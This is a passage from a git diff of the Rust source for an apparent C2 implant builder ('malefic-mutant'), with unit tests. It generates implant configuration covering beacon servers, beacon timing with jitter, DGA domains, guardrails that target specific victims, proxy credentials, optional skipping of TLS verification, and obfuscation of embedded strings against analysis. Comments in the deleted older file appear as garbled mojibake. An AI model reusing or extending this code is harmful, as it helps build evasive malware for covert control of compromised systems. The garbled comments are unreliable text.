PROXY_SCHEME: String = RUNTIME_CONFIG.proxy_scheme.clone(); + pub static ref PROXY_HOST: String = RUNTIME_CONFIG.proxy_host.clone(); + pub static ref PROXY_PORT: String = RUNTIME_CONFIG.proxy_port.clone(); + pub static ref PROXY_USERNAME: String = RUNTIME_CONFIG.proxy_username.clone(); + pub static ref PROXY_PASSWORD: String = RUNTIME_CONFIG.proxy_password.clone(); + // DGA configuration + pub static ref DGA_ENABLE: bool = RUNTIME_CONFIG.dga_enable; + pub static ref DGA_KEY: String = RUNTIME_CONFIG.dga_key.clone(); + pub static ref DGA_INTERVAL_HOURS: u32 = RUNTIME_CONFIG.dga_interval_hours; + // Guardrail configuration + pub static ref GUARDRAIL_CONFIG: GuardrailConfig = RUNTIME_CONFIG.guardrail.clone(); + // Multi-server configuration - use Vec to maintain configuration order + pub static ref SERVER_CONFIGS: Vec = RUNTIME_CONFIG.server_configs.clone(); + // Packet chunking configuration + pub static ref MAX_PACKET_LENGTH: usize = RUNTIME_CONFIG.max_packet_length; +}} + +#[cfg(feature = "secure")] +lazy_static! {{ + pub static ref AGE_PRIVATE_KEY: String = {age_priv}; + pub static ref AGE_PUBLIC_KEY: String = {age_pub}; +"#, + age_priv = age_priv_expr, + age_pub = age_pub_expr, + )); + config.push_str("}\n"); + + config +} + +fn generate_guardrail_config_expr(guardrail_config: &GuardrailConfig, use_obfstr: bool) -> String { + if !guardrail_config.enable { + return r#"GuardrailConfig { + ip_addresses: Vec::new(), + usernames: Vec::new(), + server_names: Vec::new(), + domains: Vec::new(), + require_all: true, + }"# + .to_string(); + } + + let ip_addresses = guardrail_config + .ip_addresses + .iter() + .map(|ip| obf_or_plain_expr(ip, use_obfstr)) + .collect::>() + .join(", "); + let usernames = guardrail_config + .usernames + .iter() + .map(|user| obf_or_plain_expr(user, use_obfstr)) + .collect::>() + .join(", "); + let server_names = guardrail_config + .server_names + .iter() + .map(|server| obf_or_plain_expr(server, use_obfstr)) + .collect::>() + .join(", "); + let domains = guardrail_config + .domains + .iter() + .map(|domain| obf_or_plain_expr(domain, use_obfstr)) + .collect::>() + .join(", "); + + format!( + r#"GuardrailConfig {{ + ip_addresses: [{ip_addresses}].to_vec(), + usernames: [{usernames}].to_vec(), + server_names: [{server_names}].to_vec(), + domains: [{domains}].to_vec(), + require_all: {require_all}, + }}"#, + ip_addresses = ip_addresses, + usernames = usernames, + server_names = server_names, + domains = domains, + require_all = guardrail_config.require_all + ) +} + +fn generate_server_configs_expr(server: &BasicConfig, use_obfstr: bool) -> String { + let mut expr = String::new(); + expr.push_str("{\n let mut configs = Vec::new();\n"); + for (idx, target) in server.targets.iter().enumerate() { + expr.push_str(&generate_single_server_config_expr( + target, server, use_obfstr, idx, + )); + } + expr.push_str(" configs\n }"); + expr +} + +fn generate_single_server_config_expr( + target: &TargetConfig, + basic_config: &BasicConfig, + use_obfstr: bool, + _index: usize, +) -> String { + let protocol = target.detect_protocol(); + let protocol_type = match protocol.as_str() { + "http" => "Http", + "tcp" => "Tcp", + "rem" => "REM", + _ => "Tcp", + }; + + let address_expr = obf_or_plain_expr(&target.address, use_obfstr); + + let mut config = String::from(" {\n"); + config.push_str(&generate_transport_config(target, use_obfstr)); + config.push_str(&generate_session_config_block( + target, + basic_config, + use_obfstr, + )); + config.push_str(&format!( + r#" configs.push( + ServerConfig {{ + address: {address}, + protocol: ProtocolType::{protocol}, + session_config, + transport_config, +"#, + address = address_expr, + protocol = protocol_type + )); + + config.push_str(&generate_tls_config_for_target( + target, + basic_config, + use_obfstr, + )); + config.push_str(&generate_proxy_config_for_target( + target, + basic_config, + use_obfstr, + )); + config.push_str(&generate_domain_suffix_config(target, use_obfstr)); + + config.push_str(" }\n"); + config.push_str(" );\n"); + config.push_str(" }\n\n"); + config +} + +fn generate_module_imports(server: &BasicConfig) -> String { + let needs_http = server.targets.iter().any(|target| target.http.is_some()); + + let mut imports = String::new(); + imports.push_str( + r#"mod config; +mod runtime; +"#, + ); + if needs_http { + imports.push_str("use std::collections::HashMap;\n"); + } + imports.push_str("use std::time::Duration;\n"); + imports.push_str( + r#" +pub use config::{ + ServerConfig, + ProtocolType, + SessionConfig, + TransportConfig, + // TCP + TcpConfig, + SocketOptions, + // HTTP + HttpRequestConfig, + // REM + RemConfig, + // TLS + MTLSConfig, + TlsConfig, + ProxyConfig, + // Guardrail + GuardrailConfig, +}; +pub use runtime::{ + BlobError, + ConfigBlobText, + RuntimeConfig, + CONFIG_BLOB_B64_LEN, + CONFIG_BLOB_TEXT, + CONFIG_BLOB_TEXT_LEN, + decode_runtime_config_bytes, + decode_runtime_config_str, + get_transport_key, + load_runtime_config, + update_runtime_key, +}; +#[cfg(feature = "encoder")] +pub use runtime::encode_runtime_config; +use malefic_gateway::lazy_static; + +"#, + ); + + imports +} + +fn generate_transport_config(target: &TargetConfig, use_obfstr: bool) -> String { + if let Some(http_config) = &target.http { + let _host = target.get_host(); + let mut headers_code = String::new(); + + // Generate Host header + headers_code.push_str(&format!( + " headers.insert({}, {});\n", + obf_or_plain_expr("Host", use_obfstr), + obf_or_plain_expr(&target.address, use_obfstr) + )); + + // Generate other headers + for (key, value) in &http_config.headers { + if key != "Host" { + // Host is already handled separately + headers_code.push_str(&format!( + " headers.insert({}, {});\n", + obf_or_plain_expr(key, use_obfstr), + obf_or_plain_expr(value, use_obfstr) + )); + } + } + + format!( + r#" let transport_config = TransportConfig::Http({{ + let mut http_config = HttpRequestConfig::new({method}, {path}, {version}); + http_config.headers = {{ + let mut headers = HashMap::new(); +{headers} headers + }}; +{tuning} http_config + }}); +"#, + method = obf_or_plain_expr(&http_config.method, use_obfstr), + path = obf_or_plain_expr(&http_config.path, use_obfstr), + version = obf_or_plain_expr(&http_config.version, use_obfstr), + headers = headers_code, + tuning = format!( + "{}{}", + http_config + .response_read_chunk_size + .map(|size| format!( + " http_config.response_read_chunk_size = {size};\n" + )) + .unwrap_or_default(), + http_config + .response_retry_delay_ms + .map(|millis| format!( + " http_config.response_retry_delay = Duration::from_millis({millis});\n" + )) + .unwrap_or_default() + ) + ) + } else if let Some(rem_config) = &target.rem { + format!( + r#" let transport_config = TransportConfig::Rem( + RemConfig::new({link}) + ); +"#, + link = obf_or_plain_expr( + &format!("{}{}", REM_LINK_PREFIX, rem_config.link), + use_obfstr + ) + ) + } else { + // Default TCP configuration + " let transport_config = TransportConfig::Tcp(TcpConfig {});\n".to_string() + } +} + +fn generate_session_config_block( + target: &TargetConfig, + basic_config: &BasicConfig, + _use_obfstr: bool, +) -> String { + let mut session = format!( + " let mut session_config = SessionConfig::default_for_transport(&transport_config, {});\n", + basic_config.keepalive + ); + + if let Some(session_config) = &target.session { + if let Some(read_chunk_size) = session_config.read_chunk_size { + session.push_str(&format!( + " session_config.read_chunk_size = {read_chunk_size};\n" + )); + } + if let Some(deadline_ms) = session_config.deadline_ms { + session.push_str(&format!( + " session_config.deadline = Duration::from_millis({deadline_ms});\n" + )); + } + if let Some(connect_timeout_ms) = session_config.connect_timeout_ms { + session.push_str(&format!( + " session_config.connect_timeout = Duration::from_millis({connect_timeout_ms});\n" + )); + } + if let Some(keepalive) = session_config.keepalive { + session.push_str(&format!( + " session_config.keepalive = {keepalive};\n" + )); + } + } + + session +} + +fn generate_tls_config_for_target( + target: &TargetConfig, + _basic_config: &BasicConfig, + use_obfstr: bool, +) -> String { + // Directly handle target.tls Option + if let Some(tls_config) = &target.tls { + if tls_config.enable { + let sni = if tls_config.sni.is_empty() { + target.get_host() + } else { + tls_config.sni.clone() + }; + + let mtls_code = if let Some(mtls) = &tls_config.mtls { + format!( + r#"mtls_config: Some(MTLSConfig {{ + enable: true, + client_cert: include_bytes!("{}").to_vec(), + client_key: include_bytes!("{}").to_vec(), + server_ca: include_bytes!("{}").to_vec(), + }}), +"#, + mtls.client_cert, mtls.client_key, mtls.server_ca + ) + } else { + "mtls_config: None,\n".to_string() + }; + + let server_ca_code = if let Some(ref ca_path) = tls_config.server_ca { + if !ca_path.is_empty() { + format!(r#"server_ca: include_bytes!("{}").to_vec(),"#, ca_path) + } else { + "server_ca: Vec::new(),".to_string() + } + } else { + "server_ca: Vec::new(),".to_string() + }; + + let tls_code = format!( + r#" tls_config: Some(TlsConfig {{ + enable: true, + version: {version}, + sni: {sni}, + skip_verification: {skip_verification}, + {server_ca} + {mtls} + }}), +"#, + version = obf_or_plain_expr(&tls_config.version, use_obfstr), + sni = obf_or_plain_expr(&sni, use_obfstr), + skip_verification = tls_config.skip_verification, + server_ca = server_ca_code, + mtls = mtls_code + ); + + tls_code + } else { + " tls_config: None,\n".to_string() + } + } else { + // Target has no TLS configuration, return None + " tls_config: None,\n".to_string() + } +} + +fn generate_proxy_config_for_target( + target: &TargetConfig, + basic_config: &BasicConfig, + use_obfstr: bool, +) -> String { + // Prioritize target-specific proxy configuration, otherwise use global configuration + let proxy_config = target.proxy.as_ref().unwrap_or(&basic_config.proxy); + + // Check if there is a proxy configuration + if !proxy_config.url.is_empty() { + if let Ok(proxy_url) = Url::parse(&proxy_config.url) { + format!( + r#" proxy_config: Some(ProxyConfig {{ + proxy_type: "{}".to_string(), + host: {}, + port: {}, + username: {}, + password: {}, + }}), +"#, + proxy_url.scheme(), + obf_or_plain_expr(proxy_url.host_str().unwrap_or(""), use_obfstr), + proxy_url + .port() + .unwrap_or_else(|| default_proxy_port(proxy_url.scheme())), + obf_or_plain_expr(proxy_url.username(), use_obfstr), + obf_or_plain_expr(proxy_url.password().unwrap_or(""), use_obfstr) + ) + } else { + " proxy_config: None,\n".to_string() + } + } else { + " proxy_config: None,\n".to_string() + } +} + +fn generate_domain_suffix_config(target: &TargetConfig, use_obfstr: bool) -> String { + if let Some(ref suffix) = target.domain_suffix { + format!( + r#" domain_suffix: Some({}), +"#, + obf_or_plain_expr(suffix, use_obfstr) + ) + } else { + " domain_suffix: None,\n".to_string() + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::*; + + /// Minimal BasicConfig for testing codegen output (not file I/O). + fn test_basic_config() -> BasicConfig { + BasicConfig { + name: "test".to_string(), + targets: vec![], + proxy: ProxyConfig::default(), + cron: "*/5 * * * * * *".to_string(), + jitter: 0.0, + keepalive: false, + encryption: "aes".to_string(), + key: "testkey".to_string(), + retry: 3, + max_cycles: Some(-1), + dga: DgaConfig::default(), + guardrail: GuardrailConfig::default(), + secure: SecureConfig { + enable: false, + private_key: String::new(), + public_key: String::new(), + }, + max_packet_length: 0, + } + } + + // ================================================================ + // Regression: generate_module_imports uses malefic_gateway + // ================================================================ + + #[test] + fn test_imports_use_malefic_gateway_lazy_static() { + let imports = generate_module_imports(&test_basic_config()); + assert!( + imports.contains("use malefic_gateway::lazy_static;"), + "generated imports must use malefic_gateway::lazy_static, got:\n{}", + imports + ); + } + + #[test] + fn test_imports_no_old_lazy_static_crate() { + let imports = generate_module_imports(&test_basic_config()); + assert!( + !imports.contains("use lazy_static::lazy_static;"), + "generated imports must NOT reference the old lazy_static crate, got:\n{}", + imports + ); + } + + // ================================================================ + // Regression: generate_public_config_section uses lazy_static! macro + // ================================================================ + + #[test] + fn test_public_config_section_uses_lazy_static_macro() { + let server = test_basic_config(); + let section = generate_public_config_section(&server, false); + assert!( + section.starts_with("lazy_static! {"), + "generated config section must invoke lazy_static! macro, got:\n{}", + section + ); + } + + #[test] + fn test_public_config_section_contains_runtime_config() { + let server = test_basic_config(); + let section = generate_public_config_section(&server, false); + assert!( + section.contains("pub static ref RUNTIME_CONFIG: RuntimeConfig"), + "generated config section must define RUNTIME_CONFIG" + ); + } + + #[test] + fn test_public_config_section_contains_all_config_statics() { + let server = test_basic_config(); + let section = generate_public_config_section(&server, false); + let expected_statics = [ + "RUNTIME_CONFIG", + "CRON", + "JITTER", + "KEEPALIVE", + "RETRY", + "MAX_CYCLES", + "NAME", + "KEY", + "USE_ENV_PROXY", + "PROXY_URL", + "PROXY_SCHEME", + "PROXY_HOST", + "PROXY_PORT", + "PROXY_USERNAME", + "PROXY_PASSWORD", + "DGA_ENABLE", + "DGA_KEY", + "DGA_INTERVAL_HOURS", + "GUARDRAIL_CONFIG", + "SERVER_CONFIGS", + ]; + for name in &expected_statics { + assert!( + section.contains(&format!("pub static ref {name}:")), + "generated config section must define {name}" + ); + } + } + + #[test] + fn test_public_config_section_has_empty_age_keys_when_secure_disabled() { + let server = test_basic_config(); + let section = generate_public_config_section(&server, false); + assert!( + section.contains("#[cfg(feature = \"secure\")]"), + "secure config statics must be gated by the config feature" + ); + assert!( + section.contains("AGE_PRIVATE_KEY"), + "AGE_PRIVATE_KEY must exist even when secure config is empty" + ); + assert!( + section.contains("String::new()"), + "secure statics must fall back to empty strings when secure config is disabled" + ); + } + + #[test] + fn test_public_config_section_has_age_keys_when_secure_enabled() { + let mut server = test_basic_config(); + server.secure.enable = true; + server.secure.private_key = "test_priv".to_string(); + server.secure.public_key = "test_pub".to_string(); + let section = generate_public_config_section(&server, false); + assert!( + section.contains("AGE_PRIVATE_KEY"), + "AGE_PRIVATE_KEY must appear when secure is enabled" + ); + assert!( + section.contains("AGE_PUBLIC_KEY"), + "AGE_PUBLIC_KEY must appear when secure is enabled" + ); + assert!( + section.contains("#[cfg(feature = \"secure\")]"), + "secure config statics must be gated by the config feature" + ); + assert!(section.contains(r#""test_priv".to_string()"#)); + assert!(section.contains(r#""test_pub".to_string()"#)); + } + + // ================================================================ + // Regression: full generated config uses new import + // ================================================================ + + #[test] + fn test_full_config_output_uses_new_lazy_static() { + let server = test_basic_config(); + let full = generate_multi_protocol_config(&server, false); + assert!( + full.contains("use malefic_gateway::lazy_static;"), + "full generated config must import from malefic_gateway" + ); + assert!( + !full.contains("use lazy_static::lazy_static;"), + "full generated config must NOT import from lazy_static crate" + ); + assert!( + full.contains("lazy_static! {"), + "full generated config must contain lazy_static! invocation" + ); + } + + #[test] + fn test_full_config_has_closing_brace() { + let server = test_basic_config(); + let full = generate_multi_protocol_config(&server, false); + assert!( + full.ends_with("}\n"), + "full generated config must end with closing brace" + ); + } + + // ================================================================ + // obf_or_plain_expr / bytes_expr — always emit plain form now + // ================================================================ + + #[test] + fn test_obf_or_plain_expr_always_plain() { + // use_obfstr=false + let result_false = obf_or_plain_expr("hello", false); + assert_eq!(result_false, r#""hello".to_string()"#); + // use_obfstr=true — same output, obfstr no longer used + let result_true = obf_or_plain_expr("hello", true); + assert_eq!(result_true, r#""hello".to_string()"#); + } + + #[test] + fn test_obf_or_plain_expr_no_obfstr() { + let result = obf_or_plain_expr("secret", true); + assert!( + !result.contains("obfstr"), + "obf_or_plain_expr must NOT emit obfstr, protection is now automatic via LiteralObfuscator" + ); + } + + #[test] + fn test_bytes_expr_always_plain() { + let result_false = bytes_expr("key", false); + assert!(result_false.contains(".to_string().into_bytes()")); + let result_true = bytes_expr("key", true); + assert!(result_true.contains(".to_string().into_bytes()")); + } + + #[test] + fn test_bytes_expr_no_obfstr() { + let result = bytes_expr("key", true); + assert!( + !result.contains("obfstr"), + "bytes_expr must NOT emit obfstr" + ); + } + + // ================================================================ + // Plan B: RuntimeConfig inlined in lazy_static init + // ================================================================ + + #[test] + fn test_no_default_runtime_config_fn() { + let server = test_basic_config(); + let full = generate_multi_protocol_config(&server, false); + assert!( + !full.contains("fn default_runtime_config()"), + "default_runtime_config function must NOT be generated (inlined into lazy_static)" + ); + } + + #[test] + fn test_runtime_config_inlined_in_lazy_static() { + let server = test_basic_config(); + let full = generate_multi_protocol_config(&server, false); + assert!( + full.contains("load_runtime_config(RuntimeConfig {"), + "RuntimeConfig must be constructed inline in lazy_static init, got:\n{}", + full + ); + } + + #[test] + fn test_runtime_config_inline_contains_config_values() { + let server = test_basic_config(); + let expr = generate_runtime_config_inline_expr(&server, false); + // String fields emit "value".to_string() + assert!(expr.contains(r#""*/5 * * * * * *".to_string()"#)); + assert!(expr.contains(r#""test".to_string()"#)); + assert!(expr.contains("keepalive: false")); + // No obfstr anywhere + assert!(!expr.contains("obfstr")); + } + + // ================================================================ + // Plan D: typed integer suffixes + // ================================================================ + + #[test] + fn test_runtime_config_inline_has_typed_integers() { + let server = test_basic_config(); + let expr = generate_runtime_config_inline_expr(&server, false); + assert!( + expr.contains("3u32"), + "retry must have u32 suffix, got:\n{}", + expr + ); + assert!( + expr.contains("-1i32"), + "max_cycles must have i32 suffix, got:\n{}", + expr + ); + assert!( + expr.contains("0.0f64") || expr.contains("0f64"), + "jitter must have f64 suffix, got:\n{}", + expr + ); + } + + #[test] + fn test_runtime_config_inline_dga_interval_typed() { + let mut server = test_basic_config(); + server.dga.interval_hours = 24; + let expr = generate_runtime_config_inline_expr(&server, false); + assert!( + expr.contains("24u32"), + "dga_interval_hours must have u32 suffix" + ); + } + + // ================================================================ + // Guardrail: [].to_vec() instead of vec![] + // ================================================================ + + #[test] + fn test_guardrail_disabled_uses_vec_new() { + let guardrail = GuardrailConfig::default(); + let expr = generate_guardrail_config_expr(&guardrail, false); + assert!(expr.contains("Vec::new()")); + assert!(!expr.contains("vec!")); + } + + #[test] + fn test_guardrail_enabled_uses_array_to_vec() { + let guardrail = GuardrailConfig { + enable: true, + require_all: true, + ip_addresses: vec!["1.2.3.4".to_string()], + usernames: vec!["admin".to_string()], + server_names: vec![], + domains: vec!["example.com".to_string()], + }; + let expr = generate_guardrail_config_expr(&guardrail, false); + // Must use [].to_vec() not vec![] + assert!( + !expr.contains("vec!["), + "guardrail must NOT use vec![] macro (LiteralObfuscator can't traverse macro bodies)" + ); + assert!( + expr.contains("].to_vec()"), + "guardrail must use [].to_vec() for auto-obfuscation" + ); + // Values must be plain .to_string() (auto-protected by LiteralObfuscator) + assert!(expr.contains(r#""1.2.3.4".to_string()"#)); + assert!(expr.contains(r#""admin".to_string()"#)); + assert!(expr.contains(r#""example.com".to_string()"#)); + } +} diff --git a/malefic-mutant/src/generate/config_3rd.rs b/malefic-mutant/src/generate/config_3rd.rs deleted file mode 100644 index b91529a..0000000 --- a/malefic-mutant/src/generate/config_3rd.rs +++ /dev/null @@ -1,38 +0,0 @@ -use crate::{log_error, log_success, FEATURES}; -use std::fs; -use toml_edit::{Array, DocumentMut}; - -static CONFIG_3RD_TOML_PATH: &str = "malefic-3rd/Cargo.toml"; - -pub fn update_3rd_toml(modules: &[String]) { - let cargo_toml_content = - fs::read_to_string(CONFIG_3RD_TOML_PATH).expect("Failed to read Cargo.toml file"); - - let mut cargo_toml: DocumentMut = cargo_toml_content - .parse() - .expect("Failed to parse Cargo.toml file"); - - if let Some(features) = cargo_toml[&FEATURES].as_table_mut() { - let mut default_feature = Array::new(); - for module in modules { - default_feature.push(module.to_string()); - } - - if default_feature - .iter() - .any(|m| m.to_string() == "rem_static") - && default_feature - .iter() - .any(|m| m.to_string() == "rem_reflection") - { - log_error!("Cannot have both 'rem_static' and 'rem_reflection' features enabled at the same time"); - panic!("Cannot have both 'rem_static' and 'rem_reflection' features enabled at the same time"); - } - - features["default"] = toml_edit::Item::Value(default_feature.into()); - } - - fs::write(CONFIG_3RD_TOML_PATH, cargo_toml.to_string()) - .expect("Failed to write updated Cargo.toml file"); - log_success!("Cargo.toml file {} has been updated", CONFIG_3RD_TOML_PATH); -} diff --git a/malefic-mutant/src/generate/config_core.rs b/malefic-mutant/src/generate/config_core.rs deleted file mode 100644 index aa7430d..0000000 --- a/malefic-mutant/src/generate/config_core.rs +++ /dev/null @@ -1,750 +0,0 @@ -use super::config_3rd::update_3rd_toml; -use crate::config::{ - BasicConfig, BuildConfig, GuardrailConfig, ImplantConfig, ProxyConfig, TargetConfig, -}; -use crate::{log_step, log_success, FEATURES}; -use lazy_static::lazy_static; -use std::fs; -use std::fs::File; -use std::io::Write; -use toml_edit::{Array, DocumentMut}; -use url::Url; - -static CONFIG_FILE_GENE_PATH: &str = "malefic-core/src/config/mod.rs"; -static CONFIG_CORE_TOML_PATH: &str = "malefic-core/Cargo.toml"; - -lazy_static! { - static ref CONFIG_CORE_PATH: String = "malefic-core/src/config/mod.rs".to_string(); -} - -pub fn update_core_config( - server: &BasicConfig, - _implant_config: &ImplantConfig, - build_config: Option<&BuildConfig>, -) { - log_step!("Updating core configuration..."); - - // 验è¯é…ç½® - if let Err(e) = server.validate_targets() { - panic!("Configuration validation failed: {}", e); - } - - let mut file = File::create(CONFIG_FILE_GENE_PATH).unwrap(); - - // 生æˆé…置内容 - let use_obfstr = build_config.map(|cfg| cfg.obfstr).unwrap_or(true); - let config_content = generate_multi_protocol_config(server, use_obfstr); - - file.write_all(config_content.as_bytes()) - .expect("Failed to write config file"); - - log_success!("Core configuration has been updated successfully"); -} - -fn generate_multi_protocol_config(server: &BasicConfig, use_obfstr: bool) -> String { - let mut config = String::new(); - - // ç”Ÿæˆæ¨¡å—导入 - config.push_str(&generate_module_imports()); - - if !use_obfstr { - config.push_str(&generate_xor_support_section(server)); - } - - // 生æˆåŸºç¡€é…ç½® - config.push_str(&generate_basic_config_section(server, use_obfstr)); - - // ç”ŸæˆæœåС噍é…ç½® - config.push_str(&generate_server_configs_section(server, use_obfstr)); - - // 结æŸlazy_staticå— - config.push_str("}\n"); - - config -} - -fn generate_module_imports() -> String { - r#"mod config; - -use std::collections::HashMap; -pub use config::{ - ServerConfig, - ProtocolType, - TransportConfig, - // TCP - TcpConfig, - SocketOptions, - // HTTP - HttpRequestConfig, - // REM - RemConfig, - // TLS - TlsConfig, - ProxyConfig, - // Guardrail - GuardrailConfig, -}; -use lazy_static::lazy_static; - -"# - .to_string() -} - -fn generate_basic_config_section(server: &BasicConfig, use_obfstr: bool) -> String { - let mut config = format!( - r#"lazy_static! {{ - // 基础é…ç½® - pub static ref CRON: String = obfstr::obfstr!("{}").to_string(); - pub static ref JITTER: f64 = {}f64; - // æœåС噍容错é…ç½® - pub static ref GLOBAL_RETRY: u32 = {}; // 已注册情况下的全局é‡è¯•次数 - pub static ref SERVER_RETRY: u32 = {}; // å•个æœåŠ¡å™¨æœ€å¤§é‡è¯•次数 -"#, - server.cron, // 使用cronè¡¨è¾¾å¼ - server.jitter, - server.global_retry, - server.server_retry, - ); - - config.push_str(" // 加密é…ç½®\n"); - if use_obfstr { - config.push_str(&format!( - r#" pub static ref NAME: String = obfstr::obfstr!("{}").to_string(); - pub static ref KEY: Vec = obfstr::obfstr!("{}").into(); -"#, - server.name, server.key - )); - } else { - config.push_str( - r#" pub static ref NAME: String = decode_string_from_block(&NAME_BLOCK); - pub static ref KEY: Vec = decode_bytes_from_block(&KEY_BLOCK); -"#, - ); - } - - // 生æˆä»£ç†é…ç½® - config.push_str(&generate_proxy_config_section(&server.proxy)); - - if server.secure.enable { - config.push_str(&format!( - r#" pub static ref AGE_PRIVATE_KEY: String = obfstr::obfstr!("{age_private_key}").to_string(); - pub static ref AGE_PUBLIC_KEY: String = obfstr::obfstr!("{age_public_key}").to_string(); -"#, - age_private_key = server.secure.private_key, - age_public_key = server.secure.public_key - )); - } - - // 添加DGAé…ç½® - config.push_str(&generate_dga_config_section(server)); - - // 添加Guardrailé…ç½® - config.push_str(&generate_guardrail_config_section(&server.guardrail)); - - config -} - -fn generate_proxy_config_section(proxy_config: &ProxyConfig) -> String { - let mut config = String::new(); - - // 生æˆä»£ç†é…置的三层逻辑 - config.push_str(&format!( - r#" pub static ref USE_ENV_PROXY: bool = {}; - pub static ref PROXY_URL: String = obfstr::obfstr!("{}").to_string(); -"#, - proxy_config.use_env_proxy, proxy_config.url - )); - - // 如果有具体的 URL,解æžå¹¶ç”Ÿæˆä¼ ç»Ÿé…置(å‘åŽå…¼å®¹ï¼‰ - if !proxy_config.url.is_empty() { - if let Ok(proxy_url) = Url::parse(&proxy_config.url) { - let scheme = proxy_url.scheme().to_string(); - let host = proxy_url.host_str().unwrap_or("").to_string(); - let port = - proxy_url - .port() - .map(|p| p.to_string()) - .unwrap_or_else(|| match scheme.as_str() { - "http" | "https" => "8080".to_string(), - "socks5" | "socks" => "1080".to_string(), - _ => "8080".to_string(), - }); - let username = proxy_url.username().to_string(); - let password = proxy_url.password().unwrap_or("").to_string(); - - config.push_str(&format!( - r#" pub static ref PROXY_SCHEME: String = obfstr::obfstr!("{scheme}").to_string(); - pub static ref PROXY_HOST: String = obfstr::obfstr!("{host}").to_string(); - pub static ref PROXY_PORT: String = obfstr::obfstr!("{port}").to_string(); - pub static ref PROXY_USERNAME: String = obfstr::obfstr!("{username}").to_string(); - pub static ref PROXY_PASSWORD: String = obfstr::obfstr!("{password}").to_string(); -"#, - scheme = scheme, - host = host, - port = port, - username = username, - password = password - )); - } else { - // 如果 URL è§£æžå¤±è´¥ï¼Œç”Ÿæˆç©ºé…ç½® - config.push_str(&format!( - r#" pub static ref PROXY_SCHEME: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_HOST: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_PORT: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_USERNAME: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_PASSWORD: String = obfstr::obfstr!("").to_string(); -"# - )); - } - } else { - // 没有 URL 时生æˆç©ºé…ç½® - config.push_str(&format!( - r#" pub static ref PROXY_SCHEME: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_HOST: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_PORT: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_USERNAME: String = obfstr::obfstr!("").to_string(); - pub static ref PROXY_PASSWORD: String = obfstr::obfstr!("").to_string(); -"# - )); - } - - config -} - -fn generate_dga_config_section(server: &BasicConfig) -> String { - if server.dga.enable { - format!( - r#" // DGAé…ç½® - pub static ref DGA_ENABLE: bool = true; - pub static ref DGA_KEY: String = obfstr::obfstr!("{}").to_string(); - pub static ref DGA_INTERVAL_HOURS: u32 = {}; -"#, - server.dga.key, server.dga.interval_hours - ) - } else { - r#" // DGAé…置(已ç¦ç”¨ï¼‰ - pub static ref DGA_ENABLE: bool = false; - pub static ref DGA_KEY: String = String::new(); - pub static ref DGA_INTERVAL_HOURS: u32 = 2; -"# - .to_string() - } -} - -fn generate_server_configs_section(server: &BasicConfig, use_obfstr: bool) -> String { - let mut config = String::from(" // 多æœåС噍é…ç½® - 使用Vecä¿æŒé…置顺åº\n"); - config.push_str(" pub static ref SERVER_CONFIGS: Vec = {\n"); - config.push_str(" let mut configs = Vec::new();\n"); - - for (idx, target) in server.targets.iter().enumerate() { - config.push_str(&generate_single_server_config( - target, server, use_obfstr, idx, - )); - } - - config.push_str(" configs\n"); - config.push_str(" };\n\n"); - config -} - -fn generate_single_server_config( - target: &TargetConfig, - basic_config: &BasicConfig, - use_obfstr: bool, - index: usize, -) -> String { - let protocol = target.detect_protocol(); - let protocol_type = match protocol.as_str() { - "http" => "Http", - "tcp" => "Tcp", - "rem" => "REM", // REM通常基于HTTP传输 - _ => "Tcp", - }; - - let address_expr = if use_obfstr { - format!("obfstr::obfstr!(\"{}\").to_string()", target.address) - } else { - format!("decode_string_from_block(&SERVER_ADDRESS_BLOCKS[{index}])") - }; - - let mut config = format!( - r#" configs.push( - ServerConfig {{ - address: {}, - protocol: ProtocolType::{}, -"#, - address_expr, protocol_type - ); - - // 生æˆä¼ è¾“é…ç½® - config.push_str(&generate_transport_config(target)); - - // 生æˆTLSé…ç½® - config.push_str(&generate_tls_config_for_target(target, basic_config)); - - // 生æˆä»£ç†é…ç½® - config.push_str(&generate_proxy_config_for_target(target, basic_config)); - - // 生æˆåŸŸååŽç¼€é…ç½® - config.push_str(&generate_domain_suffix_config(target)); - - config.push_str(" }\n"); - config.push_str(" );\n\n"); - config -} - -fn generate_transport_config(target: &TargetConfig) -> String { - if let Some(http_config) = &target.http { - let _host = target.get_host(); - let mut headers_code = String::new(); - - // 生æˆHost头部 - headers_code.push_str(&format!( - " headers.insert(obfstr::obfstr!(\"Host\").to_string(), obfstr::obfstr!(\"{}\").to_string());\n", - target.address - )); - - // 生æˆå…¶ä»–头部 - for (key, value) in &http_config.headers { - if key != "Host" { - // Hostå·²ç»å•ç‹¬å¤„ç† - headers_code.push_str(&format!( - " headers.insert(obfstr::obfstr!(\"{}\").to_string(), obfstr::obfstr!(\"{}\").to_string());\n", - key, value - )); - } - } - - format!( - r#" transport_config: TransportConfig::Http(HttpRequestConfig {{ - method: obfstr::obfstr!("{}").to_string(), - path: obfstr::obfstr!("{}").to_string(), - version: obfstr::obfstr!("{}").to_string(), - headers: {{ - let mut headers = HashMap::new(); -{} headers - }}, - }}), -"#, - http_config.method, http_config.path, http_config.version, headers_code - ) - } else if let Some(rem_config) = &target.rem { - format!( - r#" transport_config: TransportConfig::Rem(RemConfig {{ - link: obfstr::obfstr!("-m proxy -l memory+socks://:@memory -c {rem_link}").to_string(), - }}), -"#, - rem_link = rem_config.link - ) - } else { - // 默认TCPé…ç½® - " transport_config: TransportConfig::Tcp(TcpConfig {}),\n".to_string() - } -} - -fn generate_tls_config_for_target(target: &TargetConfig, _basic_config: &BasicConfig) -> String { - // ç›´æŽ¥å¤„ç† target.tls çš„ Option - if let Some(tls_config) = &target.tls { - if tls_config.enable { - let sni = if tls_config.sni.is_empty() { - target.get_host() - } else { - tls_config.sni.clone() - }; - - let mtls_code = if let Some(mtls) = &tls_config.mtls { - format!( - r#"mtls_config: Some(MTLSConfig {{ - enable: true, - client_cert: include_bytes!("{}").to_vec(), - client_key: include_bytes!("{}").to_vec(), - server_ca: include_bytes!("{}").to_vec(), - }}), -"#, - mtls.client_cert, mtls.client_key, mtls.server_ca - ) - } else { - "mtls_config: None,\n".to_string() - }; - - let tls_code = format!( - r#" tls_config: Some(TlsConfig {{ - enable: true, - version: obfstr::obfstr!("{}").to_string(), - sni: obfstr::obfstr!("{}").to_string(), - skip_verification: {}, - {} - }}), -"#, - tls_config.version, sni, tls_config.skip_verification, 